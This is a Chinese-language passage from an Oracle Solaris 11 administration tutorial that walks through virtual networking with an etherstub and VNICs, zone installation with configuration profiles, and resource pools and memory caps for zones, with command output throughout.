要开始此过程,我们需要通过执行以下命令收集所有当前和相关的系统信息:

root@solaris11-1:~# dladm show-link
LINK                CLASS     MTU    STATE    OVER
net1                phys      1500   up       --
net0                phys      1500   up       --
root@solaris11-1:~# ipadm show-if
IFNAME     CLASS    STATE    ACTIVE OVER
lo0        loopback ok       yes    --
net0       ip       ok       yes    --
net1       ip       ok       yes    --
root@solaris11-1:~# ipadm show-addr
ADDROBJ           TYPE     STATE        ADDR
lo0/v4            static   ok           127.0.0.1/8
net0/v4           static   ok           192.168.1.144/24
net1/v4           static   ok           192.168.5.77/24
lo0/v6            static   ok           ::1/128
root@solaris11-1:~# zpool list
NAME      SIZE  ALLOC   FREE  CAP  DEDUP  HEALTH  ALTROOT
myzones  79.5G   544K  79.5G   0%  1.00x  ONLINE  -
rpool    79.5G  21.2G  58.3G  26%  1.00x  ONLINE  -
root@solaris11-1:~# zfs list | grep myzones
myzones                  494K  78.3G    31K  /myzones
root@solaris11-1:~# 

系统有两个网络接口(net0net1),但只会考虑net0。此外,池(myzones)有大约 80 GB 的可用空间(你可以使用zpool create myzones <磁盘>创建 myzones 池),并且没有文件系统。然后,第一步是创建池并为每个 zone(zone1zone2)创建一个文件系统,执行以下命令:

root@solaris11-1:~# zpool create myzones c7t2d0
root@solaris11-1:~# zfs create myzones/zone1
root@solaris11-1:~# zfs list myzones/zone1
root@solaris11-1:/myzones# zfs create myzones/zone1
root@solaris11-1:/myzones# zfs create myzones/zone2
root@solaris11-1:/myzones# zfs list | grep zone
myzones                  314K  78.3G    33K  /myzones
myzones/zone1             31K  78.3G    31K  /myzones/zone1
myzones/zone2             31K  78.3G    31K  /myzones/zone2

存储需求已满足,接下来,本教程的关键部分是准备所有网络基础设施。为此,必须创建etherstubvswitch1)和三个 VNIC:vnic0etherstub),vnic1zone1),以及vnic2zone2)。此外,我们需要将所有 VNIC 连接到etherstubvswitch1)。所有这些任务都可以通过执行以下命令完成:

root@solaris11-1:~# dladm create-etherstub vswitch1
root@solaris11-1:~# dladm show-link
LINK                CLASS     MTU    STATE    OVER
net1                phys      1500   up       --
net0                phys      1500   up       --
vswitch1            etherstub 9000   unknown  --
root@solaris11-1:~# dladm create-vnic -l vswitch1 vnic0
root@solaris11-1:~# dladm create-vnic -l vswitch1 vnic1
root@solaris11-1:~# dladm create-vnic -l vswitch1 vnic2
root@solaris11-1:~# dladm show-link
LINK                CLASS     MTU    STATE    OVER
net1                phys      1500   up       --
net0                phys      1500   up       --
vswitch1            etherstub 9000   unknown  --
vnic0               vnic      9000   up       vswitch1
vnic1               vnic      9000   up       vswitch1
vnic2               vnic      9000   up       vswitch1
root@solaris11-1:~# dladm show-vnic
LINK          OVER         SPEED  MACADDRESS        MACADDRTYPE   VID
vnic0         vswitch1     40000  2:8:20:d:b:3b     random        0
vnic1         vswitch1     40000  2:8:20:ef:b6:63   random        0
vnic2         vswitch1     40000  2:8:20:ce:b0:da   random        0

现在,是时候创建第一个 zone(zone1),使用ip-type=exclusive(这是默认值)并将vnic1作为物理网络接口:

root@solaris11-1:~# zonecfg -z zone1
Use 'create' to begin configuring a new zone.
zonecfg:zone1> create
create: Using system default template 'SYSdefault'
zonecfg:zone1> set autoboot=true
zonecfg:zone1> set zonepath=/myzones/zone1
zonecfg:zone1> add net
zonecfg:zone1:net> set physical=vnic1
zonecfg:zone1:net> end
zonecfg:zone1> info
zonename: zone1
zonepath: /myzones/zone1
brand: solaris
autoboot: true
bootargs: 
file-mac-profile: 
pool: 
limitpriv: 
scheduling-class: 
ip-type: exclusive
hostid: 
fs-allowed: 
net:
  address not specified
  allowed-address not specified
  configure-allowed-address: true
  physical: vnic1
  defrouter not specified
anet:
  linkname: net0
  lower-link: auto
 allowed-address not specified
  configure-allowed-address: true
  defrouter not specified
  allowed-dhcp-cids not specified
  link-protection: mac-nospoof
  mac-address: random
  mac-prefix not specified
  mac-slot not specified
  vlan-id not specified
  priority not specified
  rxrings not specified
  txrings not specified
  mtu not specified
  maxbw not specified
  rxfanout not specified
  vsi-typeid not specified
  vsi-vers not specified
  vsi-mgrid not specified
  etsbw-lcl not specified
  cos not specified
  pkey not specified
  linkmode not specified
zonecfg:zone1> verify
zonecfg:zone1> commit
zonecfg:zone1> exit
root@solaris11-1:~#

要配置zone2,需要执行几乎相同的步骤(省略了 zone 信息的详细内容),执行以下命令:

root@solaris11-1:~# zonecfg -z zone2
Use 'create' to begin configuring a new zone.
zonecfg:zone2> create
create: Using system default template 'SYSdefault'
zonecfg:zone2> set autoboot=true
zonecfg:zone2> set zonepath=/myzones/zone2
zonecfg:zone2> add net
zonecfg:zone2:net> set physical=vnic2
zonecfg:zone2:net> end
zonecfg:zone2> verify
zonecfg:zone2> commit
zonecfg:zone2> exit

要列出最近配置的 zone,执行以下命令:

root@solaris11-1:~# zoneadm list -cv
ID NAME           STATUS     PATH                     BRAND    IP    
 0 global         running    /                        solaris  shared
 - zone1          configured /myzones/zone1           solaris  excl  
 - zone2          configured /myzones/zone2           solaris  excl  

根据之前的教程,在安装 zone 后第一次登录时,需要通过 11 个屏幕交互式地提供系统配置信息。为了自动化并简化此过程,可以为每个 zone 创建一个系统配置文件,并在每次安装 zone 时提供它。为完成此任务,需要从中获取一些信息:

对于zone1,信息如下:

  • 计算机名称:zone1

  • 以太网网络配置:手动

  • 网络接口:vnic1

  • IP 地址:192.168.1.51

  • DNS:不配置 DNS

  • 备用名称服务器:

  • 时区:(你的时区)

  • 日期和时间:(当前日期和时间)

  • 根密码:(你的选择)

  • 你的真实姓名:Alexandre Borges

  • 用户名:aborges1

  • 密码:hacker123!

  • 电子邮件:anonymous@oracle.com

  • 互联网访问方式:无代理

对于zone2,信息如下:

  • 计算机名称:zone2

  • 以太网网络配置:手动

  • 网络接口:vnic2

  • IP 地址:192.168.1.52

  • DNS:不配置 DNS

  • 备用名称服务器:

  • 时区:(你的时区)

  • 日期和时间:(当前日期和时间)

  • 根密码:(你的选择)

  • 你的真实姓名:Alexandre Borges

  • 用户名:aborges2

  • 密码:hacker123!

  • 电子邮件:anonymous@oracle.com

  • 网络访问方式:No proxy

创建一个目录来存放区域配置文件,方法如下:

root@solaris11-1:~# mkdir /zone_profiles

通过执行以下命令为 zone1 创建配置文件:

root@solaris11-1:~# sysconfig create-profile -o /zone_profiles/zone1.xml

使用几乎相同的命令,通过执行以下命令为 zone2 创建一个配置文件:

root@solaris11-1:~# sysconfig create-profile -o /zone_profiles/zone2.xml

要可视化系统配置内容,请执行以下命令:

root@solaris11-1:~# more /zone_profiles/zone1.xml 
<!DOCTYPE service_bundle SYSTEM "/usr/share/lib/xml/dtd/service_bundle.dtd.1">
<service_bundle type="profile" name="sysconfig">
  <service version="1" type="service" name="system/config-user">
    <instance enabled="true" name="default">
      <property_group type="application" name="root_account">
        <propval type="astring" name="login" value="root"/>
        <propval type="astring" name="password" value="$5$Iabvrv4s$wAqPBNvP7QBZ12ocIdDp/TzNP8Gyv5PBvkTk1QTUEeA"/>
        <propval type="astring" name="type" value="role"/>
      </property_group>
      <property_group type="application" name="user_account">
        <propval type="astring" name="login" value="aborges1"/>
        <propval type="astring" name="password" value="$5$XfpOXWq9$1roklDSW7LW1Iq0pdpxq5Js16/d4DszHHlZB2AvYRL7"/>
        <propval type="astring" name="type" value="normal"/>
        <propval type="astring" name="description" value="Alexandre Borges"/>
        <propval type="count" name="gid" value="10"/>
        <propval type="astring" name="shell" value="/usr/bin/bash"/>
        <propval type="astring" name="roles" value="root"/>
        <propval type="astring" name="profiles" value="System Administrator"/>
        <propval type="astring" name="sudoers" value="ALL=(ALL) ALL"/>
(truncated output)

现在,是时候使用之前配置的系统配置文件安装 zone1zone2 了。因此,为了执行此任务,我们将使用本地仓库(如在第一章,IPS 和启动环境中所学)并执行以下命令:

root@solaris11-1:~# pkg publisher
PUBLISHER           TYPE     STATUS P LOCATION
solaris             origin   online F http://solaris11-1.example.com/
root@solaris11-1:~# zoneadm -z zone1 install -c /zone_profiles/zone1.xml
root@solaris11-1:~# zoneadm -z zone2 install -c /zone_profiles/zone2.xml
root@solaris11-1:~# zoneadm list -iv
  ID NAME        STATUS     PATH                      BRAND    IP    
   0 global      running    /                         solaris  shared
   - zone1       installed  /myzones/zone1            solaris  excl  
   - zone2       installed  /myzones/zone2            solaris  excl  
root@solaris11-1:~#

通过执行以下命令启动这两个区域:

root@solaris11-1:~# zoneadm list -iv
ID NAME         STATUS     PATH                       BRAND    IP    
 0 global       running    /                          solaris  shared
 - zone1        installed  /myzones/zone1             solaris  excl  
 - zone2        installed  /myzones/zone2             solaris  excl  
root@solaris11-1:~# zoneadm -z zone1 boot
root@solaris11-1:~# zoneadm -z zone2 boot

在登录到区域之前,检查网络信息是很合适的,可以通过执行以下命令来实现:

root@solaris11-1:~# dladm show-link
LINK                CLASS     MTU    STATE    OVER
net1                phys      1500   up       --
net0                phys      1500   up       --
vswitch1            etherstub 9000   unknown  --
vnic0               vnic      9000   up       vswitch1
vnic1               vnic      9000   up       vswitch1
zone1/vnic1         vnic      9000   up       vswitch1
vnic2               vnic      9000   up       vswitch1
zone2/vnic2         vnic      9000   up       vswitch1
zone1/net0          vnic      1500   up       net0
zone2/net0          vnic      1500   up       net0
root@solaris11-1:~# dladm show-vnic
LINK          OVER        SPEED  MACADDRESS        MACADDRTYPE    VID
vnic0         vswitch1    40000  2:8:20:d:b:3b     rand           0
vnic1         vswitch1    40000  2:8:20:ef:b6:63   random         0
zone1/vnic1   vswitch1    40000  2:8:20:ef:b6:63   random         0
vnic2         vswitch1    40000  2:8:20:ce:b0:da   random         0
zone2/vnic2   vswitch1    40000  2:8:20:ce:b0:da   random         0
zone1/net0    net0        1000   2:8:20:ac:7d:b1   random         0
zone2/net0    net0        1000   2:8:20:f3:29:68   random         0
root@solaris11-1:~# ipadm show-addr
ADDROBJ           TYPE     STATE        ADDR
lo0/v4            static   ok           127.0.0.1/8
net0/v4           static   ok           192.168.1.144/24
net1/v4           static   ok           192.168.5.77/24
lo0/v6            static   ok           ::1/128

现在,我们可以登录到区域并通过执行以下命令进行测试:

root@solaris11-1:~# zlogin zone1
[Connected to zone 'zone1' pts/5]
Oracle Corporation  SunOS 5.11  11.1  September 2012
root@zone1:~# ping 192.168.1.52
192.168.1.52 is alive
root@zone1:~# exit
logout
[Connection to zone 'zone1' pts/5 closed]

root@solaris11-1:~# zlogin zone2
[Connected to zone 'zone2' pts/5]
Oracle Corporation  SunOS 5.11  11.1  September 2012
root@zone2:~# ping 192.168.1.51
192.168.1.51 is alive
root@zone2:~# exit
logout
[Connection to zone 'zone2' pts/5 closed]
root@solaris11-1:~#

一切正常。区域真是太棒了!

该教程概述

这个教程的好消息是我们配置了一个虚拟交换机(etherstub)和三个虚拟网络接口。之后,我们使用这些对象创建了两个区域,并应用了虚拟网络的概念。

使用资源管理器管理区域

安装和配置 Oracle Solaris 11 非全球区域非常棒,正如我们之前提到的,它是一项出色的技术,可以在不干扰其他应用程序的情况下隔离并运行应用程序,如果出现问题,其他应用程序不受影响。然而,仍然存在一个问题。每个非全球区域都在全球区域中运行,仿佛它单独运行一样,但如果其中一个区域独占所有资源(处理器和内存),并且几乎不给其他区域留下任何资源,就会出现不方便的效果。基于这种情况,可以部署一个名为资源管理器的解决方案,以控制每个区域消耗多少资源。

集中关注资源管理器(不考虑区域),在 Oracle Solaris 11 中,有许多形式可以强制实施资源控制。例如,我们可以使用一个项目(/etc/project),该项目由任务组成,每个任务包含一个或多个进程。通过 projadd 命令可以创建一个新项目,可以通过 服务管理工具SMF)或甚至在打开会话时使用 newtask 命令来创建新任务。启用资源管理器服务并将处理器和内存等资源分配给该项目,有助于为该项目绑定的进程设定一个上限,限制它们可以使用多少资源(处理器和内存)。无论如何,可以通过运行 projects -l 命令列出 Oracle Solaris 11 中现有的项目。

有几种方法可以将资源与项目关联。第一种方法是使用资源控制(rctladmprctl命令)来管理和查看分配给项目的控制。此方法的缺点是,它通过进程限制使用的资源,防止它们占用更多的处理器或内存(如果需要)。另一个相关且可能的问题是,管理员必须精确知道应用程序使用了多少资源,才能合理地分配资源,因为如果分配给项目或应用程序的资源不足,它可能会停止工作。

控制应用程序能够使用多少资源的第二种有效方法是使用公平共享调度器FSS)类,它帮助我们根据资源需求调节资源分配(处理器时间)。一个真实的优势是,如果某个应用程序没有使用分配的所有资源(处理器时间),其他应用程序可以使用该应用程序释放出来的空闲资源。因此,这种资源共享就像是一个动态资源控制系统,按照计划分配资源(应用程序分配了份额),并根据需求变化调整其分配。例如,当我个人使用 FSS 时,我会将可用的份额归一化为 100 点,以便于与百分比进行比较。对于项目 A,我分配 30 个份额;对于项目 B,我分配 50 个份额;对于项目 C,我分配 20 个份额。最终,时间处理器的分配是:应用程序 A 得到 30%,应用程序 B 得到 50%,应用程序 C 得到 20%。这很简单,不是吗?

部署资源管理器的第三种方式是使用资源池。基本思想是将资源分配给资源组(或池),然后将该池与项目或应用程序关联。类似于我们为 FSS 解释的内容,处理器集(处理器组)通常分配给资源池,而资源池再分配给项目。资源池提供了更好的灵活性,因为它允许我们根据需求设置应用程序使用的处理器的最小和最大数量。例如,可以将一个到八个核心(或处理器)分配给项目,根据资源需求,使用更少或更多的处理器。此外,特定的处理器(或核心)可以专门分配给处理器集,若需要的话。使用资源池的一个小缺点是,处理器被限制在池内,即使有空闲资源(处理器),也不能被其他应用程序使用。就个人而言,我更喜欢管理和使用 FSS,因为其灵活性和可重用性让你有机会释放资源,供其他应用程序或项目使用。尽管如此,将资源池与 FSS 和项目混合使用并实施受控环境,依然是可行的。

最终,所有这些控制资源的技术都可以在区域上下文中部署,以通过运行的应用程序限制使用的资源,正如我们在这个方案中将要学习的那样。

准备工作

这个方案需要一台虚拟机(VirtualBox 或 VMware),其运行在具有两个或更多核心的处理器上,配备 8GB RAM 和 80GB 硬盘。为了简化以下步骤,我们将使用在之前方案中使用的区域,读者可以认为这个方案是一个简单的延续。

如何进行…

基本上,这个方案由两部分组成。在第一部分,配置资源池;在第二部分,将现有资源池绑定到区域。

首先,我们需要通过运行以下命令收集关于现有区域的信息:

root@solaris11-1:~# zoneadm list -iv
ID NAME          STATUS     PATH                      BRAND    IP    
 0 global        running    /                         solaris  shared
 1 zone2         running    /myzones/zone2            solaris  excl  
 2 zone1         running    /myzones/zone1            solaris  excl  
root@solaris11-1:~#

资源池服务可能已经停止。我们可以通过执行以下命令来验证它们:

root@solaris11-1:~# svcs -a | grep pool
disabled       12:23:27 svc:/system/pools:default
disabled       12:23:35 svc:/system/pools/dynamic:default

通过执行以下命令检查每个服务的依赖关系:

root@solaris11-1:~# svcs -d svc:/system/pools:default
STATE          STIME    FMRI
online         12:23:42 svc:/system/filesystem/minimal:default
root@solaris11-1:~# svcs -d svc:/system/pools/dynamic:default
STATE          STIME    FMRI
disabled       12:23:27 svc:/system/pools:default
online         12:24:08 svc:/system/filesystem/local:default

由于svc:/system/pools/dynamic:default服务依赖于svc:/system/pools:default,建议通过运行以下命令启用它们:

root@solaris11-1:~# svcadm enable -r svc:/system/pools/dynamic:default
root@solaris11-1:~# svcs -a | grep pool
online         14:30:31 svc:/system/pools:default
online         14:30:37 svc:/system/pools/dynamic:default
root@solaris11-1:~# svcs -p svc:/system/pools/dynamic:default
STATE          STIME    FMRI
online         14:30:37 svc:/system/pools/dynamic:default
               14:30:37     5443 poold

当启用资源池控制时,会创建一个默认池(pool_default)和一个默认处理器集(default_pset),包括系统中的所有资源,可以通过执行以下命令来验证:

root@solaris11-1:~# pooladm
system default
  string  system.comment 
  int  system.version 1
  boolean  system.bind-default true
  string  system.poold.objectives wt-load

  pool pool_default
    int  pool.sys_id 0
    boolean  pool.active true
    boolean  pool.default true
    int  pool.importance 1
    string  pool.comment 
    pset  pset_default

  pset pset_default
    int  pset.sys_id -1
    boolean  pset.default true
    uint  pset.min 1
    uint  pset.max 65536
    string  pset.units population
    uint  pset.load 211
    uint  pset.size 4
    string  pset.comment 

    cpu
      int  cpu.sys_id 1
      string  cpu.comment 
      string  cpu.status on-line

    cpu
      int  cpu.sys_id 3
      string  cpu.comment 
      string  cpu.status on-line

    cpu
      int  cpu.sys_id 0
      string  cpu.comment 
      string  cpu.status on-line

    cpu
      int  cpu.sys_id 2
      string  cpu.comment 
      string  cpu.status on-line

根据此输出,存在一个默认池(pool_default);真实处理器有四个核心(范围 0 到 3),它们都组成了一个处理器集(pset)。然而,这个资源池配置只存在于内存中,并且不在磁盘上持久化。因此,要将其保存到配置文件中,请执行以下命令:

root@solaris11-1:~# pooladm -s
root@solaris11-1:~# more /etc/pooladm.conf 
<?xml version="1.0"?>
<!DOCTYPE system PUBLIC "-//Sun Microsystems Inc//DTD Resource Management All//EN" "file:///usr/share/lib/xml/dtd/rm_pool.dtd.1">
<!--
Configuration for pools facility. Do NOT edit this file by hand - use poolcfg(1) or libpool(3POOL) instead.
-->
<system ref_id="dummy" name="default" comment="" version="1" bind-default="true">
  <property name="system.poold.objectives" type="string">wt-load</property>
  <pool name="pool_default" active="true" default="true" importance="1" comment="" res="pset_-1" ref_id="pool_0">
    <property name="pool.sys_id" type="int">0</property>
  </pool>
  <res_comp type="pset" sys_id="-1" name="pset_default" default="true" min="1" max="65536" units="population" comment="" ref_id="pset_-1">
    <property name="pset.load" type="uint">176</property>
    <property name="pset.size" type="uint">4</property>
    <comp type="cpu" sys_id="1" comment="" ref_id="cpu_1">
      <property name="cpu.status" type="string">on-line</property>
    </comp>
    <comp type="cpu" sys_id="3" comment="" ref_id="cpu_3">
      <property name="cpu.status" type="string">on-line</property>
    </comp>
    <comp type="cpu" sys_id="0" comment="" ref_id="cpu_0">
      <property name="cpu.status" type="string">on-line</property>
    </comp>
    <comp type="cpu" sys_id="2" comment="" ref_id="cpu_2">
      <property name="cpu.status" type="string">on-line</property>
    </comp>
  </res_comp>
</system>

从这一点开始,以下步骤会创建一个包含两个核心的处理器集(pset),创建一个池,并将该处理器集与池关联。稍后,这个池将分配给区域配置,可以显示为:处理器集 | 池 | 区域。

因此,要创建一个包含一个核心最小(pset.min=1)和两个核心最大(pset.max=2)的处理器集(first_pset),请执行以下命令:

root@solaris11-1:~# poolcfg -c 'create pset first_pset (uint pset.min = 1; uint pset.max = 2)'
root@solaris11-1:~# poolcfg -c 'info pset first_pset'

pset first_pset
  int  pset.sys_id -2
  boolean  pset.default false
  uint  pset.min 1
  uint  pset.max 2
  string  pset.units population
  uint  pset.load 0
  uint  pset.size 0
  string  pset.comment

现在,我们可以创建一个名为first_pool的池,初始时将所有资源(四个核心处理器)绑定到该池中,方法是运行以下命令:

root@solaris11-1:~# poolcfg -c 'create pool first_pool'
root@solaris11-1:~# poolcfg -c 'info pool first_pool'

pool first_pool
  boolean  pool.active true
  boolean  pool.default false
  int  pool.importance 1
  string  pool.comment 
  pset  pset_default

 pset pset_default
    int  pset.sys_id -1
 boolean  pset.default true
    uint  pset.min 1
    uint  pset.max 65536
    string  pset.units population
    uint  pset.load 176
    uint  pset.size 4
    string  pset.comment 

    cpu
      int  cpu.sys_id 1
      string  cpu.comment 
      string  cpu.status on-line

    cpu
      int  cpu.sys_id 3
      string  cpu.comment 
      string  cpu.status on-line

    cpu
      int  cpu.sys_id 0
      string  cpu.comment 
      string  cpu.status on-line

    cpu
      int  cpu.sys_id 2
      string  cpu.comment 
      string  cpu.status on-line

root@solaris11-1:~#

然后,通过执行以下命令将first_pool池分配给first_pset处理器集:

root@solaris11-1:~# poolcfg -c 'associate pool first_pool (pset first_pset)'
root@solaris11-1:~# poolcfg -c 'info pool first_pool'
pool first_pool
  boolean  pool.active true
  boolean  pool.default false
  int  pool.importance 1
  string  pool.comment 
   pset  first_pset

  pset first_pset
    int  pset.sys_id -2
    boolean  pset.default false
    uint  pset.min 1
    uint  pset.max 2
    string  pset.units population
    uint  pset.load 0
    uint  pset.size 0
    string  pset.comment 

root@solaris11-1:~#

到目前为止,一切正常。现在,我们需要通过执行以下命令检查新池是否已经出现在资源内存配置中:

root@solaris11-1:~# poolcfg -c info
system default
  string   system.comment 
  int      system.version 1
  boolean  system.bind-default true
  string   system.poold.objectives wt-load

  pool pool_default
    int      pool.sys_id 0
    boolean  pool.active true
    boolean  pool.default true
    int      pool.importance 1
    string   pool.comment 
    pset     pset_default

 pool first_pool
 boolean  pool.active true
 boolean  pool.default false
 int      pool.importance 1
 string   pool.comment 
 pset     first_pset

  pset pset_default
    int      pset.sys_id -1
    boolean  pset.default true
    uint     pset.min 1
    uint     pset.max 65536
    string   pset.units population
    uint     pset.load 176
    uint     pset.size 4
    string   pset.comment 

    cpu
      int     cpu.sys_id 1
      string  cpu.comment 
      string  cpu.status on-line

    cpu
      int     cpu.sys_id 3
      string  cpu.comment 
      string  cpu.status on-line

    cpu
      int     cpu.sys_id 0
      string  cpu.comment 
      string  cpu.status on-line

    cpu
      int     cpu.sys_id 2
      string  cpu.comment 
      string  cpu.status on-line

  pset first_pset
    int      pset.sys_id -2
    boolean  pset.default false
    uint     pset.min 1
    uint     pset.max 2
    string   pset.units population
    uint     pset.load 0
    uint     pset.size 0
    string   pset.comment 

我们已经意识到,first_pset配置仍未在池配置文件中持久化。要验证(-n -c选项)并提交(-c选项)新配置,请执行以下命令:

root@solaris11-1:~# pooladm -n -c
root@solaris11-1:~# pooladm -c
root@solaris11-1:~# more /etc/pooladm.conf
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE system PUBLIC "-//Sun Microsystems Inc//DTD Resource Management All//EN" "file:///usr/share/lib/xml/dtd/rm_pool.dtd.1">
<!--
Configuration for pools facility. Do NOT edit this file by hand - use poolcfg(1) or libpool(3POOL) instead.
-->
<system ref_id="dummy" name="default" comment="" version="1" bind-default="true">
  <property name="system.poold.objectives" type="string">wt-load</property>
  <pool name="pool_default" active="true" default="true" importance="1" comment="" res="pset_-1" ref_id="pool_0">
    <property name="pool.sys_id" type="int">0</property>
  </pool>
  <res_comp type="pset" sys_id="-1" name="pset_default" default="true" min="1" max="65536" units="population" comment="" ref_id="pset_-1">
    <property name="pset.load" type="uint">176</property>
    <property name="pset.size" type="uint">4</property>
    <comp type="cpu" sys_id="1" comment="" ref_id="cpu_1">
      <property name="cpu.status" type="string">on-line</property>
    </comp>
    <comp type="cpu" sys_id="3" comment="" ref_id="cpu_3">
      <property name="cpu.status" type="string">on-line</property>
    </comp>
    <comp type="cpu" sys_id="0" comment="" ref_id="cpu_0">
      <property name="cpu.status" type="string">on-line</property>
    </comp>
    <comp type="cpu" sys_id="2" comment="" ref_id="cpu_2">
      <property name="cpu.status" type="string">on-line</property>
    </comp>
  </res_comp>
  <res_comp ref_id="id_0" sys_id="-2" type="pset" name="first_pset" min="1" max="2" units="population" comment="">
    <property name="pset.load" type="uint">0</property>
    <property name="pset.size" type="uint">0</property>
  </res_comp>
  <property name="system._next_id" type="uint">2</property>
  <pool ref_id="id_1" res="id_0" name="first_pool" active="true" importance="1" comment=""/>
</system>
root@solaris11-1:~#

一切准备就绪。不过,使用-dc选项可以很容易验证该配置仅在内存中(内核状态)是活动的,但它并没有保存在资源池配置文件中(选项-c),如下所示:

root@solaris11-1:~# poolcfg -dc info
system default
  string   system.comment 
  int      system.version 1
  boolean  system.bind-default true
  string   system.poold.objectives wt-load

  pool first_pool
    int      pool.sys_id 1
    boolean  pool.active true
    boolean  pool.default false
    int      pool.importance 1
    string   pool.comment 
 pset     first_pset

  pool pool_default
    int      pool.sys_id 0
    boolean  pool.active true
    boolean  pool.default true
    int      pool.importance 1
    string   pool.comment 
    pset     pset_default

 pset first_pset
 int      pset.sys_id 1
 boolean  pset.default false
 uint     pset.min 1
 uint     pset.max 2
 string   pset.units population
 uint     pset.load 0
 uint     pset.size 2
 string   pset.comment 

 cpu
 int     cpu.sys_id 1
 string  cpu.comment 
 string  cpu.status on-line

 cpu
 int  cpu.sys_id 0
 string  cpu.comment 
 string  cpu.status on-line

 pset pset_default
 int      pset.sys_id -1
 boolean  pset.default true
 uint     pset.min 1
 uint     pset.max 65536
 string   pset.units population
 uint     pset.load 151
 uint     pset.size 2
 string   pset.comment 

 cpu
 int     cpu.sys_id 3
 string  cpu.comment 
 string  cpu.status on-line

 cpu
 int     cpu.sys_id 2
 string  cpu.comment 
 string  cpu.status on-line

root@solaris11-1:~# poolcfg -c info
system default
  string   system.comment 
  int      system.version 1
  boolean  system.bind-default true
  string   system.poold.objectives wt-load

  pool pool_default
    int  pool.sys_id 0
    boolean  pool.active true
    boolean  pool.default true
    int      pool.importance 1
    string   pool.comment 
    pset     pset_default

  pool first_pool
    boolean  pool.active true
    boolean  pool.default false
    int      pool.importance 1
    string   pool.comment 
 pset     first_pset

 pset pset_default
    int  pset.sys_id -1
    boolean  pset.default true
    uint     pset.min 1
    uint     pset.max 65536
    string   pset.units population
    uint     pset.load 176
    uint     pset.size 4
    string   pset.comment 

 cpu
 int     cpu.sys_id 1
 string  cpu.comment 
 string  cpu.status on-line

 cpu
 int     cpu.sys_id 3
 string  cpu.comment 
 string  cpu.status on-line

 cpu
 int     cpu.sys_id 0
 string  cpu.comment 
 string  cpu.status on-line

 cpu
 int     cpu.sys_id 2
 string  cpu.comment 
 string  cpu.status on-line

 pset first_pset
 int      pset.sys_id -2
 boolean  pset.default false
 uint     pset.min 1
 uint     pset.max 2
 string   pset.units population
 uint     pset.load 0
 uint     pset.size 0
    string   pset.comment 

为了解决将资源池配置从内存保存到磁盘的问题,我们可以通过运行以下命令使用-s选项:

root@solaris11-1:~# pooladm -s
root@solaris11-1:~# poolcfg -c info
system default
  string   system.comment 
  int      system.version 1
  boolean  system.bind-default true
  string   system.poold.objectives wt-load

  pool first_pool
    int      pool.sys_id 1
    boolean  pool.active true
    boolean  pool.default false
    int      pool.importance 1
    string   pool.comment 
    pset     first_pset

  pool pool_default
    int      pool.sys_id 0
    boolean  pool.active true
    boolean  pool.default true
    int      pool.importance 1
    string   pool.comment 
    pset     pset_default

 pset first_pset
    int      pset.sys_id 1
    boolean  pset.default false
    uint     pset.min 1
    uint     pset.max 2
    string   pset.units population
    uint     pset.load 0
    uint     pset.size 2
    string   pset.comment 

 cpu
 int     cpu.sys_id 1
 string  cpu.comment 
 string  cpu.status on-line

 cpu
 int     cpu.sys_id 0
 string  cpu.comment 
 string  cpu.status on-line

 pset pset_default
    int      pset.sys_id -1
    boolean  pset.default true
    uint     pset.min 1
    uint     pset.max 65536
    string   pset.units population
    uint     pset.load 201
    uint     pset.size 2
    string   pset.comment 

 cpu
 int     cpu.sys_id 3
 string  cpu.comment 
 string  cpu.status on-line

 cpu
 int     cpu.sys_id 2
 string  cpu.comment 
      string  cpu.status on-line

太棒了!通过执行以下poolstat命令列出活动的资源池:

root@solaris11-1:~# poolstat
                              pset
 id pool                 size used load
  1 first_pool              2 0.00 0.00
  0 pool_default            2 0.00 0.17
root@solaris11-1:~# poolstat -r all
id pool              type rid rset           min  max size used load
  1 first_pool        pset   1 first_pset     1    2    2   0.00 0.00
  0 pool_default      pset  -1 pset_default   1    66K  2   0.00 0.17

将最近创建的池(first_pool)关联到非全局的zone1,可以通过执行以下命令来完成:

root@solaris11-1:~# zonecfg -z zone1 info | grep pool
pool: 

root@solaris11-1:~# zonecfg -z zone1 set pool=first_pool
root@solaris11-1:~# zonecfg -z zone1 info | grep pool
pool: first_pool

无法在不重启zone1的情况下激活绑定的资源池,因此执行以下命令:

root@solaris11-1:~# zoneadm -z zone1 shutdown -r
root@solaris11-1:~# zoneadm list -iv
ID NAME          STATUS     PATH                      BRAND    IP    
 0 global        running    /                         solaris  shared
 1 zone2         running    /myzones/zone2            solaris  excl  
 3 zone1         running    /myzones/zone1            solaris  excl  

现在,登录到zone1,并通过运行以下命令检查first_pool池是否已激活:

root@solaris11-1:~# zlogin zone1
[Connected to zone 'zone1' pts/3]
Oracle Corporation  SunOS 5.11  11.1  September 2012
root@zone1:~# poolcfg -dc info
system default
  string   system.comment 
  int      system.version 1
  boolean  system.bind-default true
  string   system.poold.objectives wt-load

  pool first_pool
    int      pool.sys_id 1
    boolean  pool.active true
    boolean  pool.default false
    int      pool.importance 1
    string   pool.comment 
    pset     first_pset

  pset first_pset
    int      pset.sys_id 1
    boolean  pset.default false
    uint     pset.min 1
    uint     pset.max 2
    string   pset.units population
    uint     pset.load 540
    uint     pset.size 2
    string   pset.comment 

    cpu
      int     cpu.sys_id 1
      string  cpu.comment 
      string  cpu.status on-line

    cpu
      int     cpu.sys_id 0
      string  cpu.comment 
      string  cpu.status on-line
root@zone1:~# psrinfo
0  on-line   since 02/01/2014 12:23:05
1  on-line   since 02/01/2014 12:23:07
root@zone1:~# psrinfo -v
Status of virtual processor 0 as of: 02/01/2014 15:52:47
  on-line since 02/01/2014 12:23:05.
  The i386 processor operates at 2470 MHz,
    and has an i387 compatible floating point processor.
Status of virtual processor 1 as of: 02/01/2014 15:52:47
  on-line since 02/01/2014 12:23:07.
  The i386 processor operates at 2470 MHz,
    and has an i387 compatible floating point processor.

完美!两个核心已与zone1关联,任何在此区域内运行的应用程序都可以使用这些核心处理器。

要改变资源类型的焦点,有一个非常有趣的方法是限制使用的内存,称为资源限制,这有助于我们限制物理内存、交换内存和锁定内存。

例如,使用相同的zone1,通过执行以下命令来更改其配置:

root@solaris11-1:~# zonecfg -z zone1
zonecfg:zone1> add capped-memory
zonecfg:zone1:capped-memory> set physical=1G
zonecfg:zone1:capped-memory> set swap=500M
zonecfg:zone1:capped-memory> end
zonecfg:zone1> verify
zonecfg:zone1> commit
zonecfg:zone1> exit
root@solaris11-1:~# zonecfg -z zone1 info
zonename: zone1
zonepath: /myzones/zone1
brand: solaris
autoboot: true
(truncated)

capped-memory:
  physical: 1G
  [swap: 500M]
rctl:
  name: zone.max-swap
  value: (priv=privileged,limit=524288000,action=deny)
root@solaris11-1:~#

